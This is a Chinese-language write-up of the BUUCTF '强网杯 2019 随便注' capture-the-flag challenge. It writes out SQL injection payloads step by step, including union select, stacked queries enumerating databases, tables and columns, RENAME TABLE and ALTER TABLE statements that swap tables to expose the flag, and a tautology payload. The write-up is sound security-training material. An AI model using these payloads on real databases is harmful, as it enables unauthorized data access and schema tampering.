BUUCTF [强网杯 2019] 随便注

BUUCTF [强网杯 2019] 随便注

打开环境:
在这里插入图片描述
先输入1查询回显内容:
BUUCTF [强网杯 2019] 随便注_第1张图片
输入1'测试SQL语句闭合类型:
在这里插入图片描述
判断出原SQL闭合方式为:inject='1',查询字段数:

1' union select 11,22 #

产生回显:
BUUCTF [强网杯 2019] 随便注_第2张图片
屏蔽掉了部分关键字,尝试各种注入姿势,直到使用堆叠注入:

1';show databases;#

BUUCTF [强网杯 2019] 随便注_第3张图片
得到了各数据库的名字,再查看表名:

1';show tables;#

BUUCTF [强网杯 2019] 随便注_第4张图片
继续查看两个表中的内容:

1';show columns from `1919810931114514`;#

BUUCTF [强网杯 2019] 随便注_第5张图片

1';show columns from `words`;#

BUUCTF [强网杯 2019] 随便注_第6张图片
页面查询的结果是words表中的内容,flag1919810931114514表中,两表数据模式相似,尝试将两个表名字互换,直接查询1919810931114514表中内容:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#

CHARACTER SET utf8:数据库字符集。设置数据库的默认编码为utf8

COLLATE utf8_general_ci:数据库校对规则。cicase insensitive的缩写,意思是大小写不敏感;相对的是cs,即case sensitive,大小写敏感;还有一种是utf8_bin,是将字符串中的每一个字符用二进制数据存储,区分大小写。

再次执行:1';show columns from 'words';#
BUUCTF [强网杯 2019] 随便注_第7张图片
可以看到两表名已进行互换,查询flag的内容:

1' or '1'='1

BUUCTF [强网杯 2019] 随便注_第8张图片
得到flag,完成题目注入

你可能感兴趣的:(BUUCTF,WEB,Writeup)